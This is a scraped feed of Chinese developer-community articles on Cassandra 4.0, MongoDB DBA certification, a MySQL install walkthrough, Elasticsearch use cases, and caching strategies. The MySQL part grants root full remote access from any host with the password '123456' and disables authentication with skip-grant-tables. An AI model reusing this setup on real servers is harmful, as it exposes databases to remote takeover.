    在后续的文章中,我们会和大家一一讨论这些主题。预知后事如何,且听下回分解。

    ]]>
    Cassandra4.0版本新功能揭秘-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 8月份的社区线上开发者活动,邀请到的演讲嘉宾蔡一凡老师是Cassandra贡献者之一,其所在公司部署了全球最大的Cassandra集群节点数量。
    本次演讲介绍了Cassandra 4.0版本中的新功能:审计日志、零拷贝串流、Netty节点间通信、虚拟表、增量式修复、临时副本等。
    1、审计日志:
    将数据库所有操作记录到一个本地文件,包括authentication,所有的CQL请求,不论成功与否都会被记录下来。用途广泛,如利用记录来debug线上问题,也可以辅助测试。4.0版本中同步推出的full query logger就是用审核日志来实现的,这些由full query logger生成的记录可用来做回放测试。另外,也可以帮助企业做合规管理,可作为企业的审核依据。
    2、零拷贝串流:
    零拷贝串流是指在串流时无需将数据读到内存后再写入到网络,发送方和接收方可以直接通过网络发送和接收数据。从而显著提升性能(3-5倍的速度),远小于普通串流所需的时间,并大大减少内存和CPU的占用。在Cassandra中,串流会被应用于很多场景。基本所有数据在集群中被复制时都可用到。
零拷贝串流可帮助缩短节点的恢复时间,降低多个节点同时处于不可用状态的概率。可以帮助降低运维成本。如加速节点数据迁移速率。
    3、Netty节点间通信
    在4.0版本中,节点间通信改成了Netty。I/O是非阻塞的,不再按节点分配线程。
    Netflix通过测试192个节点的Cassandra集群,对比4.0和3.0版本,发现4.0版本的延迟平均值减少40%,99分位的延迟减少了60%,吞吐量提升约2倍。
    另外,节点间加密通信扩展性更高,主要是得益于Netty的tcnative。它跟JDK自带的加密性能相比,大概提升了有4倍。
    4、虚拟表
    虚拟表是基于Cassandra内部的一些API实现的,可以把虚拟表当作Cassandra的一个接口。目前虚拟表是只读的。每一个虚拟表都是每个节点所特有的,也就是说虚拟表是local的。有了虚拟表,我们可以不用JMX,通过CQL来进行查询虚拟表,从而获取Cassandra的系统状态和当前配置。
    5、增量式修复
    增量式修复在2.1版本中就已推出。但这个功能存在一些问题,不适用于生产环境。Cassandra 4.0把之前的很多问题修复了。增量式修复将数据分为“已修复”和“未修复”两个部分,每次修复时只修复“未修复”的部分,不再修复已修复过的数据。从而减少每次修复的时间,只需要几分钟即可完成。
    6、临时副本
    临时副本是4.0版本的试验性功能,并不推荐用在生产环境中。临时副本节点只保存没有修复的数据,在修复之后,这些数据就会被临时副本节点删除。这个功能最好是和增量式修复一起使用,这样可以很快地从临时副本节点中将未修复的数据修复,之后再删除。这样一来,可以认为临时节点并不占用存储空间。
    临时副本节点带来的好处是减少存储空间,临时节点只保留临时数据,数据量比较小,修复完就删除,所以这个节点会使用更少的CPU和I/O。

    ]]>
    MongoDB Certified DBA 经验分享-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Introduction

    MongoDB 官方认证包括两个类型,

    • Certified DBA
    • Certified Developer

    DBA 强调系统的管理,Developer 强调对 MongoDB 的使用,比如要对 Aggregation 的各种 Operator 的使用很熟悉,但是也有很多共性的知识点,比如 CRUD,Index 等,我们选择 Certified DBA 即可。

    完成任何一个认证,需要进行线上的考试,考试时长 90 分钟,需要准备一个单独房间和干净的桌面,不能用任何参考资料(网页,手抄等),监考老师会通过视频会议软件和你沟通,全程需要录屏,并要求你的正面头像要一直处于摄像头范围内,还是比较严格的。

    每个月会有一个考试时间段,称为一个 Session,每个 Session 大约是 10 天,报名交 150 美金,可以约接下来 Session 的任何一天来参加考试,详细的注册步骤根据邮件流程走即可,需要注意的是预约的时间要选好时区,在中国的话选择 Taipei 即可。另外,考试如果没通过是不退费的。

    注册地址:https://university.mongodb.com/certification/dba/about

    Learning Path

    Certified DBA 主要有两个学习资料,一个是 MongoDB University 的 DBA 课程,如下,

    • M001: MongoDB Basics
    • M103: Basic Cluster Administration
    • M201: MongoDB Performance
    • M310: MongoDB Security
    • M312: Diagnostics & Debugging

    另外一个是,官方给的 MongoDB Certification Exam Study Guide ,这个 study guide 的优点是全面,涵盖考试涉及的所有知识点,但是内容非常多,而且全部看文档也比较无聊,对知识理解也不深刻,所以我的建议是先学习上面的视频课程,跟着课程走一遍,抓住重点,每门课程中间会穿插一些小考试,结束的时候会有一个最终考试,6 个选择题,考试通过会给你发一个电子证书,也建议大家都通过一下。

    课程学习时间参考:前两个比较基础,每门差不多2-3 个小时应该就可以全过一遍,后面三门课程细节比较多一些,预计每门课程需要 5-6 个小时。

    课程学完之后, MongoDB Certification Exam Study Guide 就可以发挥作用了,可以根据学习的课程,把这个 study guide 快速整体过一遍,看看还有没有不熟悉的知识点,适当做些笔记,后面再回顾几次,知识部分的学习我觉得就足以通过这个考试了。

    这里共享一下,我自己记录的笔记,这个笔记只记录了我在看 study guide 对应的 documentation 的时候不熟悉的知识点,从最后的实际考试来看,有些知识点可能超出了考试的范围,仅供参考,

    MongoDB DBA 认证知识 Review.pdf

    Exam

    考试全部是选择题,总共 60 个,大部分为多选,得分要求是 490 分以上才能通过,但是考试的总分以及每个题的评分标准并没有公布,所以目前是不清楚的,题目按 study guide 分类,最后如果通过的话,给出的考试结果,也是各个分类题目正确的百分比,没有具体的分数,下面是我的一个参考结果,

    1597735671851-cde6c77e-6460-4a1f-bb57-84ff301884b6.png

    在知识部分学习完成之后,大家可以先去试一下 Practice Exam (https://university.mongodb.com/certification/exam-prep ),熟悉一下考试操作和题目分类,另外真正的考试也遇到几个题和 Practice Exam 高度相似,这个 Practice Exam 还是值得去多试几次的。

    说下正式考试的流程,按预约的时间提前 15 分钟找个会议室,然后点 Start Exam,会有 Proctor 跟你视频,确认你的 ID 和设置的安全提问,所以身份证要记得带着,然后监考会确认考试环境没有干扰,就可以开始考试了,上述流程都是在一个第三方的网站,但是当真正考试的时候,就还是在 MongoDB 自己的网站,和你 Practice Exam 的环境一致。

    最后,Good Luck。

    ]]>
    mysql读写分离1 -- mysql安装-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 安装前先删除残留:
    [root@izwz9hy3mj62nle7573jv5z ~]# rpm -qa | grep -i mysql
    [root@izwz9hy3mj62nle7573jv5z ~]# 
    [root@izwz9hy3mj62nle7573jv5z ~]# find / -name mysql
    /root/.jenkins/local_lib/mysql
    /etc/selinux/targeted/active/modules/100/mysql
    /usr/lib64/mysql
    /usr/share/mysql
    /usr/bin/mysql
    [root@izwz9hy3mj62nle7573jv5z ~]# 

    安装:

    下载地址:https://downloads.mysql.com/archives/community/

    # 下载
    wget  https://downloads.mysql.com/archives/get/p/23/file/mysql-community-server-5.7.23-1.el7.x86_64.rpm
    # 会通过rpm自动下载并且覆盖强制安装
    rpm -ivh mysql-community-server-5.7.23-1.el7.x86_64.rpm --force --nodeps

    卸载--rpm安装方式的卸载:

    # 卸载
    rpm -e xxxxxXXX.rpm

    卸载--yum安装方式的卸载:

    yum remove mariadb*
    yum remove mysql*

    访问数据库:

    mysql -uroot -p

    创建用户和授权:

    -- 使用命令登录:mysql -u root -p
    -- 创建用户 用户名:long 密码:Long@123456
    create user 'long'@'%' identified by 'Long@123456';
    -- 授权 *.*表示所有库
    grant SELECT, REPLICATION SLAVE, REPLICATION CLIENT on *.* to 'long'@'%' identified by 'Long@123456';
    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

    忘记密码:

    # 配置跳过授权
    [root@izwz9hy3mj62nle7573jv5z ~]# vim /etc/my.cnf
    # 如果忘记密码,配置skip-grant-tables,实现访问后跳过授权
    [mysqld]
     skip-grant-tables
    
    # 重启mysql,再次登陆无需 

    重设密码:

    flush privileges;
    set password for root@localhost = password('123456');
    flush privileges;

    重设密码后注释掉skip-grant-talbes

    创建用户和授权:

    -- 使用命令登录:mysql -u root -p
    -- 创建用户 用户名:canal 密码:Canal@123456
    create user 'canal'@'%' identified by 'Canal@123456';
    -- 授权 *.*表示所有库
    grant SELECT, REPLICATION SLAVE, REPLICATION CLIENT on *.* to 'canal'@'%' identified by 'Canal@123456';

    重启:

    service mysqld restart
    ]]>
    Elasticsearch 既是搜索引擎又是数据库?真的有那么全能吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    image.png

    作者介绍:李猛(ynuosoft),Elastic-stack 产品深度用户,ES 认证工程师,2012 年接触 Elasticsearch,对 Elastic-Stack 开发、架构、运维等方面有深入体验,实践过多种 Elasticsearch 项目,最暴力的大数据分析应用,最复杂的业务系统应用;业余为企业提供 Elastic-stack 咨询培训以及调优实施。

    Elasticsearch 认知

    Elasticsearch 是什么

    Elasticsearch 是什么,不同的人有不同的理解定位,之前写过 Elasticsearch 对比其它数据产品的文章《 Elasticsearch 对垒8大竞品技术,孰优孰劣?》,看了文章下面的评论,很多人定位它是搜索引擎,我觉得也很片面,下面就谈谈我的认知:

    1)Elasticsearch 是搜索引擎

    Elasticsearch 在搜索引擎数据库领域排名绝对第一,内核基于 Lucene 构建,支持全文搜索是职责所在,提供了丰富友好的 API。个人早期基于 Lucene 构建搜索应用,需要考虑的因素太多,自接触到 Elasticsearch 就再无自主开发搜索应用。普通工程师要想掌控 Lucene 需要一些代价,且很多机制并不完善,需要做大量的周边辅助程序,而 Elasticsearch 几乎都已经帮你做完了。

    2)Elasticsearch 不是搜索引擎

    说它不是搜索引擎,估计很多从业者不认可,在个人涉及到的项目中,传统意义上用 Elasticsearch 来做全文检索的项目占比越来越少,多数时候是用来做精确查询加速,查询条件很多,可以任意组合,查询速度很快,替代其它很多数据库复杂条件查询的场景需求;甚至有的数据库产品直接使用 Elasticsearch 做二级索引,如 HBase、Redis 等。Elasticsearch 由于自身的一些特性,更像一个多模数据库。

    image.png

    图示:Elasticsearch 综合数据库排名热度已经到第 7

    3)Elasticsearch 是数据库

    Elasticsearch 使用 Json 格式来承载数据模型,已经成为事实上的文档型数据库,虽然底层存储不是 Json 格式,同类型产品有大名鼎鼎的 MongoDB,不过二者在产品定位上有差别,Elasticsearch 更加擅长的基于查询搜索的分析型数据库,倾向 OLAP;MongoDB 定位于事务型应用层面 OLTP,虽然也支持数据分析,笔者简单应用过之后再无使用,谁用谁知道。

    4)Elasticsearch 不是数据库

    Elasticsearch 不是关系型数据库,内部数据更新采用乐观锁,无严格的 ACID 事务特性,任何企图将它用在关系型数据库场景的应用都会有很多问题,很多其它领域的从业者喜欢拿这个来作为它的缺陷,重申这不是 Elasticsearch 的本质缺陷,是产品设计定位如此。

    image.png

    Elasticsearch 做什么

    Elasticsearch 虽然是基于 Lucene 构建,但应用领域确实非常宽泛。

    1)全文检索

    Elasticsearch 靠全文检索起步,将 Lucene 开发包做成一个数据产品,屏蔽了 Lucene 各种复杂的设置,为开发人员提供了很友好的便利。很多传统的关系型数据库也提供全文检索,有的是基于 Lucene 内嵌,有的是基于自研,与 Elasticsearch 比较起来,功能单一,性能也表现不是很好,扩展性几乎没有。
    如果,你的应用有全文检索需求,建议你优先迁移到 Elasticsearch 平台上来,其提供丰富的 Full text queries 会让你惊讶,一次用爽,一直用爽。

    image.png

    2)应用查询

    Elasticsearch 最擅长的就是查询,基于倒排索引核心算法,查询性能强于 B-Tree 类型所有数据产品,尤其是关系型数据库方面。当数据量超过千万或者上亿时,数据检索的效率非常明显。

    个人更看中的是 Elasticsearch 在通用查询应用场景,关系型数据库由于索引的左侧原则限制,索引执行必须有严格的顺序,如果查询字段很少,可以通过创建少量索引提高查询性能,如果查询字段很多且字段无序,那索引就失去了意义;相反 Elasticsearch 是默认全部字段都会创建索引,且全部字段查询无需保证顺序,所以我们在业务应用系统中,大量用 Elasticsearch 替代关系型数据库做通用查询,自此之后对于关系型数据库的查询就很排斥,除了最简单的查询,其余的复杂条件查询全部走 Elasticsearch。

    3)大数据领域

    Elasticserach 已经成为大数据平台对外提供查询的重要组成部分之一。大数据平台将原始数据经过迭代计算,之后结果输出到一个数据库提供查询,特别是大批量的明细数据。

    这里会面临几个问题,一个问题是大批量明细数据的输出,如何能在极短的时间内写到数据库,传统上很多数据平台选择关系型数据库提供查询,比如 MySQL,之前在这方面吃过不少亏,瞬间写入性能极差,根本无法满足要求。另一个问题是对外查询,如何能像应用系统一样提供性能极好的查询,不限制查询条件,不限制字段顺序,支持较高的并发,支持海量数据快速检索,也只有 Elasticsearch 能够做到比较均衡的检索。

    从官方的发布版本新特性来看,Elasticseacrch 志在大数据分析领域,提供了基于列示存储的数据聚合,支持的聚合功能非常多,性能表现也不错,笔者有幸之前大规模深度使用过,颇有感受。

    Elasticsearch 为了深入数据分析领域,产品又提供了数据 Rollup 与数据 Transform 功能,让检索分析更上一层楼。在数据 Rollup 领域,Apache Druid 的竞争能力很强,笔者之前做过一些对比,单纯的比较确实不如 Druid,但自 Elasticsearch 增加了 Transfrom 功能,且单独创建了一个 Transfrom 的节点角色,个人更加看好 Elasticseach,跳出了 Rollup 基于时间序列的限制。

    image.png

    4)日志检索

    著名的 ELK 三件套,讲的就是 Elasticsearch,Logstash,Kibana,专门针对日志采集、存储、查询设计的产品组合。很多第一次接触到 Elasticsearch 的朋友,都会以为 Elasticsearch 是专门做日志的,其实这些都是误解,只是说它很擅长这个领域,在此领域大有作为,名气很大。

    日志自身特点没有什么通用的规范性,人为的随意性很大,日志内容也是任意的,更加需求全文检索能力,传统技术手段本身做全文检索很是吃力。而 Elasticsearch 本身起步就是靠全文检索,再加上其分布式架构的特性,非常符合海量日志快速检索的场景。今天如果还发现有IT从业人员用传统的技术手段做日志检索,应该要打屁股了。

    如今已经从 ELK 三件套发展到 Elastic Stack 了,新增加了很多非常有用的产品,大大增强了日志检索领域。

    5)监控领域
    指标监控,Elasticsearch 进入此领域比较晚,却赶上了好时代,Elasticsearch 由于其倒排索引核心算法,也是支持时序数据场景的,性能也是相当不错的,在功能性上完全压住时序数据库。

    Elasticsearch 搞监控得益于其提供的 Elastic Stack 产品生态,丰富完善,很多时候监控需要立体化,除了指标之外,还需要有各种日志的采集分析,如果用其它纯指标监控产品,如 Promethues,遇到有日志分析的需求,还必须使用 Elasticsearch,这对于技术栈来说,又扩增了,相应的掌控能力会下降,个人精力有限,无法同时掌握很多种数据产品,如此选择一个更加通用的产品才符合现实。

    image.png

    6)机器学习

    机器学习最近几年风吹的很大,很多数据产品都集成了,Elasticsearch 也必须有,而且做的更好,真正将机器学习落地成为一个产品 ,简化使用,所见所得;而不像其它数据产品,仅仅集成算法包,使用者还必须开发很多应用支持。

    Elasticsearch 机器学习提供了两种方式,一种是异常检测类型,属于无监督学习,采用聚类模型,通常应用在安全分析领域,检测异常访问等;一种是数据帧分析,属于分类与回归,属于监督学习,可用于在业务模型领域,如电商行业,价格模型分析。

    Elasticsearch 本身是数据平台,集成了部分机器学习算法,同时又集成了 Kibana 可视化操作,使得从数据采集、到模型训练、到模型预测应用都可以一键式完成。

    Elasticserach 提供的机器学习套件,个人认为最应该应用在数据质量这个领域,帮助大数据平台自动检测数据质量,从而降低人力提供效率。

    image.png

    需求等级

    Elasticsearch 整个的技术栈非常复杂,涉及到的理论与技术点非常多,完全掌握并不现实,作为一个 IT 从业者,首先是定位好自己的角色,依据角色需求去学习掌握必备的知识点。以下是笔者对于一个技术产品的划分模型:

    1、概念

    Elasticsearch 涉及到的概念很多,核心概念其实就那么几个,对于一个新手来说,掌握概念目的是为了建立起自己的知识思维模型,将之后学习到的知识点做一个很好的归纳划分;对于一个其它数据产品的老手来说 ,掌握概念的目的是为了与其它数据产品划分比较,深入的了解各自的优劣,在之后工作中若有遇到新的业务场景,可以迅速做出抉择。

    IT 从业者普遍都有个感受,IT 技术发展太快了,各种技术框架产品层出不穷,学习掌握太难了,跟不上节奏。其实个人反倒觉得变化不大,基础理论核心概念并没有什么本质的发展变化,无非是工程技术实操变了很多,但这些是需要深入实践才需要的,对于概念上无需要。

    作为一个技术总监,前端工程师工作 1~2 年的问题都可以问倒他,这是大家对于概念认知需求不一样。

    image.png

    2、开发

    开发工程师的职责是将需求变成可以落地运行的代码。Elasticsearch 的应用开发工作总结起来就是增删改查,掌握必备的 Elasticsearch REST API,熟练运用足以。笔者之前任职某物流速运公司,负责 Elasticsearch 相关的工作,公司 Elasticsearch 的需求很多,尤其是查询方面,Elasticsearch 最厉害的查询是 DSL,这个查询语法需要经常练习使用,否则很容易忘记,当每次有人询问时,都安排一个工程师专门负责各种解答,他在编写 DSL 方面非常熟练,帮助了很多的工程师新手使用 Elasticsearch,屏蔽了很多细节,若有一些难搞定的问题,会由我来解决,另外一方面作为负责人的我偶然还要请他帮忙编写DSL。

    Elasticsearch 后面提供了 SQL 查询的功能,但比较局限,复杂的查询聚合必须回到 DSL。

    image.png

    3、架构

    Elasticsearch 集群架构总体比较复杂,首先得深入了解 Elasticseach 背后实现的原理,包括集群原理、索引原理、数据写入过程、数据查询过程等;其次要有很多案例实战的机会,遇到很多挑战问题 ,逐一排除解决,增加自己的经验。

    对于开发工程师来说,满足日常需求开发无需掌握这些,但对于 Elasticsearch 技术负责人,就非常有必要了,面对各种应用需求,要能从架构思维去平衡,比如日志场景集群需求、大数据分析场景需求、应用系统复杂查询场景需求等,从实际情况设计集群架构以及资源分配等。

    4、运维

    Elasticsearch 本质是一个数据库,也需要有专门的 DBA 运维,只是更偏重应用层面,所以运维职责相对传统 DBA 没有那么严苛。对于集群层面必须掌握集群搭建,集群扩容、集群升级、集群安全、集群监控告警等;另外对于数据层面运维,必须掌握数据备份与还原、数据的生命周期管理,还有一些日常问题诊断等。

    5、源码

    Elasticsearch 本身是开源,阅读源码是个很好的学习手段,很多独特的特性官方操作文档并没有写出来,需要从源码中提炼,如集群节点之间的连接数是多少,但对于多数 Elasticsearch 从业者来说,却非必要。了解到国内主要是头部大厂需要深入源码定制化改造,更多的是集中在应用的便捷性改造,而非结构性的改造,Elastic 原厂公司有几百人的团队做产品研发,而国内多数公司就极少的人,所以从产量上来说,根本不是一个等级的。

    如果把 Elasticsearch 比喻为一件军事武器,对于士兵来说 ,熟练运用才是最重要的,至于改造应该是武器制造商的职责,一个士兵可以使用很多武器装备,用最佳的组合才能打赢一场战争,而不是去深入原理然后造轮子,容易本末倒置。

    6、算法

    算法应该算是数据产品本质的区别,关系型数据库索引算法主要是基于 B-Tree, Elasticserach 索引算法主要是倒排索引,算法的本质决定了它们的应用边界,擅长的应用领域。

    通常掌握一个新的数据产品时,个人的做法是看它的关键算法。早期做过一个地理位置搜索相关的项目,基于某个坐标搜索周边的坐标信息,开始的时候采用的是三角函数动态计算的方式,数据量大一点,扫描一张数据表要很久;后面接触到 Geohash 算法,按照算法将坐标编码,存储在数据库中,基于前缀匹配查询,性能高效几个数量级,感叹算法的伟大;再后面发现有专门的数据库产品集成了 Geohash 算法,使用起来就更简单了。

    Elasticsearch 集成很多算法,每种算法实现都有它的应用场景。

    拥抱 Elasticsearch 的方法

    1、官方文档

    Elasticsearch 早期出过一本参考手册《 Elastic 权威指南》,是一本很好的入门手册,从概念到实战都有涉及,缺点是版本针对的 2.0,过于陈旧,除去核心概念,其余的皆不适用,当前最新版本已经是 7.7 了,跨度太大,

    Elasticsearch 在跨度大的版本之间升级稍微比较麻烦,索引数据几乎是不兼容的,升级之后需要重建数据才可。

    Elasticsearch 当前最好的参考资料是官方文档,资料最全,同步发布版本,且同时可以参考多个版本。

    Elasticsearch 官方参考文档也是最乱的,什么资料都有,系统的看完之后感觉仍在此山中,有点类似一本字典,看完了字典,依然写不好作文;而且资料还是英文的,至此就阻挡了国内大部分程序进入。

    但想要学习 Elasticsearch,官方文档至少要看过几遍,便于迅速查询定位。

    image.png

    2、系统学习

    Elasticsearch 成名很早,国内也有很多视频课程,多数比较碎片,或是纸上谈兵,缺乏实战经验。Elasticsearch 有一些专门的书籍,建议购买阅读,国内深度一些的推荐《 Elasticsearch 源码解析与优化实战》,国外推荐《 Elasticsearch 实战》,而且看书还有助于培养系统思维。

    Elasticsearch 技术栈功能特性很多,系统学习要保持好的心态,持之以恒,需要很长时间,也需要参考很多资料。

    3、背后原理

    Elasticsearch 是站在巨人肩膀上产品,背后借鉴了很多设计思想,集成了很多算法,官方的参考文档在技术原理探讨这块并没有深入,仅仅点到为止。想要深入了解,必须得另辟蹊径。

    Elastic 官方的博客有很多优质的文章,很多人因为英文的缘故会忽视掉,里面有很多关键的实现原理,图文并茂,写得非常不错;另外国内一些云厂商由于提供了 Elasticsearch 云产品,需要深度定制开发,也会有一些深入原理系列的文章,可以去阅读参考,加深理解。对于已经有比较好的编程思维的人,也可以直接去下载官方源码,设置断点调试阅读。

    4、项目实战

    项目实战是非常有效的学习途径,考过驾照的朋友都深有体会,教练一上来就直接让你操练车,通过很多次的练习就掌握了。Elasticsearch 擅长的领域很多,总结一句话就是“非强事务 ACID 场景皆可适用”,所以可以做的事情也很多。

    日志领域的需求会让你对于数据写入量非常的关心,不断的调整优化策略,提高吞吐量,降低资源消耗;业务系统的需求会让你对数据一致性与时效性特别关心,从其它数据库同步到 Elasticsearch,关注数据同步的速度,关注数据的准确性,不断的调整你的技术方案与策略;大数据领域的需求会让你对于查询与聚合特别关注,海量的数据需要快速的检索,也需要快速的聚合结果。

    项目实战的过程,就是一个挖坑填坑的过程,实战场景多了,解决的问题多了,自然就掌握得很好了。

    之前笔者在前公司任职时,所有涉及到的 Elasticsearch 疑难杂症都会找我解决,有一些项目采用别的数据产品问题比较多,也来找我评估更换 Elasticsearch 是否合适,以及给出相关建议。笔者认为最好的学习方式是找到组织,找到经验丰富的大咖,持续交流学习,成长最快也最好。

    声明:本文由原文作者“李猛”授权转载,对未经许可擅自使用者,保留追究其法律责任的权利。


    image.png

    阿里云Elastic Stack】100%兼容开源ES,独有9大能力,提供免费 X-pack服务(单节点价值$6000)

    相关活动


    更多折扣活动,请访问阿里云 Elasticsearch 官网

    阿里云 Elasticsearch 商业通用版,1核2G ,SSD 20G首月免费
    阿里云 Logstash 2核4G首月免费


    image.png

    image.png

    ]]>
    高并发系统三大利器之缓存-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 引言

    随着互联网的高速发展,市面上也出现了越来越多的网站和app。我们判断一个软件是否好用,用户体验就是一个重要的衡量标准。比如说我们经常用的微信,打开一个页面要十几秒,发个语音要几分钟对方才能收到。相信这样的软件大家肯定是都不愿意用的。软件要做到用户体验好,响应速度快,缓存就是必不可少的一个神器。缓存又分进程内缓存和分布式缓存两种:分布式缓存如redismemcached等,还有本地(进程内)缓存如ehcacheGuavaCacheCaffeine等。

    缓存特征

    缓存作为一个数据数据模型对象,那么它有一些什么样的特征呢?下面我们分别来介绍下这些特征。

    命中率

    • 命中率=命中数/(命中数+没有命中数)当某个请求能够通过访问缓存而得到响应时,称为缓存命中。缓存命中率越高,缓存的利用率也就越高。

    最大空间

    • 缓存中可以容纳最大元素的数量。当缓存存放的数据超过最大空间时,就需要根据淘汰算法来淘汰部分数据存放新到达的数据。

    淘汰算法

    • 缓存的存储空间有限制,当缓存空间被用满时,如何保证在稳定服务的同时有效提升命中率?这就由缓存淘汰算法来处理,设计适合自身数据特征的淘汰算法能够有效提升缓存命中率。常见的淘汰算法有:
    FIFO(first in first out)
    • 先进先出。最先进入缓存的数据在缓存空间不够的情况下(超出最大元素限制)会被优先被清除掉,以腾出新的空间接受新的数据。策略算法主要比较缓存元素的创建时间。适用于保证高频数据有效性场景,优先保障最新数据可用
    LFU(less frequently used)
    • 最少使用,无论是否过期,根据元素的被使用次数判断,清除使用次数较少的元素释放空间。策略算法主要比较元素的hitCount(命中次数)。适用于保证高频数据有效性场景
    LRU(least recently used)
    • 最近最少使用,无论是否过期,根据元素最后一次被使用的时间戳,清除最远使用时间戳的元素释放空间。策略算法主要比较元素最近一次被get使用时间。比较适用于热点数据场景,优先保证热点数据的有效性。

    进程缓存

    为什么需要引入本地缓存,本地缓存的应用场景有哪些?

    本地缓存的话是我们的应用和缓存都在同一个进程里面,获取缓存数据的时候纯内存操作,没有额外的网络开销,速度非常快。它适用于缓存一些应用中基本不会变化的数据,比如(国家、省份、城市等)。

    项目中一般如何适用、怎么样加载、怎么样更新?

    进程缓存的话,一般可以在应用启动的时候,把需要的数据加载到系统中。更新缓存的话可以采取定时更新(实时性不高)。具体实现的话就是在应用中起一个定时任务(ScheduledExecutorServiceTimerTask等),让它每隔多久去加载变更(数据变更之后可以修改数据库最后修改的时间,每次查询变更数据的时候都可以根据这个最后变更时间加上半小时大于当前时间的数据)的数据重新到缓存里面来。如果觉得这个比较麻烦的话,还可以直接全部全量更新(就跟项目启动加载数据一样)。这种方式的话,对数据更新可能会有点延迟。可能这台机器看到的是更新后的数据,那台机器看到的数据还是老的(机器发布时间可能不一样)。所以这种方式比较适用于对数据实时性要求不高的数据。如果对实时性有要求的话可以通过广播订阅mq消息。如果有数据更新mq会把更新数据推送到每一台机器,这种方式的话实时性会比前一种定时更新的方法会好。但是实现起来会比较复杂。
    在这里插入图片描述

    本地缓存有哪些实现方式?

    常见本地缓存有以下几种实现方式:
    图片来源于https://juejin.im/post/6844903665845665805
    从上述表格我们看出性能最佳的是Caffeine。关于这个本地缓存的话我还是强烈推荐的,里面提供了丰富的api,以及各种各样的淘汰算法。如需了解更加详细的话可以看下以前写的这个篇文章《本地缓存性能之王Caffeine》

    本地缓存缺点

    • 本地缓存与业务系统耦合再一起,应用之间无法直接共享缓存的内容。需要每个应用节点单独的维护自己的缓存。每个节点都需要一份一样的缓存,对服务器内存造成一种浪费。本地缓存机器重启、或者宕机都会丢失。

    分布式缓存

    • 分布式缓存是与应用分离的缓存组件或服务,其最大的优点是自身就是一个独立的应用,与本地应用隔离,多个应用可直接的共享缓存。常见的分布式缓存有redisMemCache等。

    分布式缓存的应用

    在高并发的环境下,比如春节抢票大战,一到放票的时间节点,分分钟大量用户以及黄牛的各种抢票软件流量进入12306,这时候如果每个用户的访问都去数据库实时查询票的库存,大量读的请求涌入到数据库,瞬间Db就会被打爆,cpu直接上升100%,服务马上就要宕机或者假死。即使进行了分库分表也是无法避免的。为了减轻db的压力以及提高系统的响应速度。一般都会在数据库前面加上一层缓存,甚至可能还会有多级缓存。

    缓存常见问题

    缓存雪崩

    指大量缓存同一时间段集体失效,或者缓存整体不能提供服务,导致大量的请求全部到达数据库
    对数据CPU和内存造成巨大压力,严重的会造成数据库宕机。因此而形成的一系列连锁反应造成整个系统奔溃。
    解决这个问题可以从以下方面入手:

    • 保证缓存的高可用。使用redis的集群模式,即使个别redis节点下线,缓存还是可以用。一般稍微大点的公司还可能会在多个机房部署Redis。
      这样即使某个机房突然停电,或者光纤又被挖断了,这时候缓存还是可以使用。
    • 使用多级缓存。不同级别缓存时间过时时间不一样,即使某个级别缓存过期了,还有其他缓存级别
      兜底。比如我们Redis缓存过期了,我们还有本地缓存。这样的话即使没有命中redis,有可能会命中本地缓存。
    • 缓存永不过期。Redis中保存的key永久不失效,这样的话就不会出现大量缓存同时失效的问题,但是这种做法会浪费更多的存储空间,一般应该也不会推荐这种做法。
    • 使用随机过期时间。为每一个key都合理的设计一个过期时间,这样可以避免大量的key再同一时刻集体失效。
    • 异步重建缓存。这样的话需要维护每个key的过期时间,定时去轮询这些key的过期时间。例如一个keyvalue设置的过期时间是30min,那我们可以为这个key设置它自己的一个过期时间为20min。所以当这个key到了20min的时候我们就可以重新去构建这个key的缓存,同时也更新这个key的一个过期时间。
    缓存穿透

    指查询一个不存在的数据,每次通过接口或者去查询数据库都查不到这个数据,比如黑客的恶意攻击,比如知道一个订单号后,然后就伪造一些不存在的订单号,然后并发来请求你这个订单详情。这些订单号在缓存中都查询不到,然后会导致把这些查询请求全部打到数据库或者SOA接口。这样的话就会导致数据库宕机或者你的服务大量超时。
    这种查询不存在的数据就是缓存击穿。
    解决这个问题可以从以下方面入手:

    • 缓存空值,对于这些不存在的请求,仍然给它缓存一个空的结果,这种方式简单粗暴,但是如果后续这个请求有新值了需要把原来缓存的空值删除掉(所以一般过期时间可以稍微设置的比较短)。
    • 通过布隆过滤器。查询缓存之前先去布隆过滤器查询下这个数据是否存在。如果数据不存在,然后直接返回空。这样的话也会减少底层系统的查询压力。
    • 缓存没有直接返回。 这种方式的话要根据自己的实际业务来进行选择。比如固定的数据,一些省份信息或者城市信息,可以全部缓存起来。这样的话数据有变化的情况,缓存也需要跟着变化。实现起来可能比较复杂。
    缓存击穿

    是指缓存里面的一个热点key(拼多多的五菱宏光神车的秒杀)在某个时间点过期。针对于这一个key有大量并发请求过来然后都会同时去数据库请求数据,瞬间对数据库造成巨大的压力。
    这个的话可以用缓存雪崩的几种解决方法来避免:

    • 缓存永不过期。Redis中保存的key永久不失效,这样的话就不会出现大量缓存同时失效的问题,但是这种做法会浪费更多的存储空间,一般应该也不会推荐这种做法。
    • 异步重建缓存。这样的话需要维护每个key的过期时间,定时去轮询这些key的过期时间。例如一个keyvalue设置的过期时间是30min,那我们可以为这个key设置它自己的一个过期时间为20min。所以当这个key到了20min的时候我们就可以重新去构建这个key的缓存,同时也更新这个key的一个过期时间。
    • 互斥锁重建缓存。这种情况的话只能针对于同一个key的情况下,比如你有100个并发请求都要来取A的缓存,这时候我们可以借助redis分布式锁来构建缓存,让只有一个请求可以去查询DB其他99个(没有获取到锁)都在外面等着,等A查询到数据并且把缓存构建好之后其他99个请求都只需要从缓存取就好了。原理就跟我们javaDCL(double checked locking)思想有点类似。
      在这里插入图片描述

    缓存更新

    我们一般的缓存更新主要有以下几种更新策略:

    • 先更新缓存,再更新数据库
    • 先更新数据库,再更新缓存
    • 先删除缓存,再更新数据库
    • 先更新数据源库,再删除缓存
      至于选择哪种更新策略的话,没有绝对的选择,可以根据自己的业务情况来选择适合自己的不过一般推荐的话是选择 先更新数据源库,再删除缓存。关于这几种更新的介绍可以推荐大家看下博客园大佬孤独烟写的《分布式之数据库和缓存双写一致性方案解析》这一篇文章,看完文章评论也可以去看看,评论跟内容一样精彩。

    总结

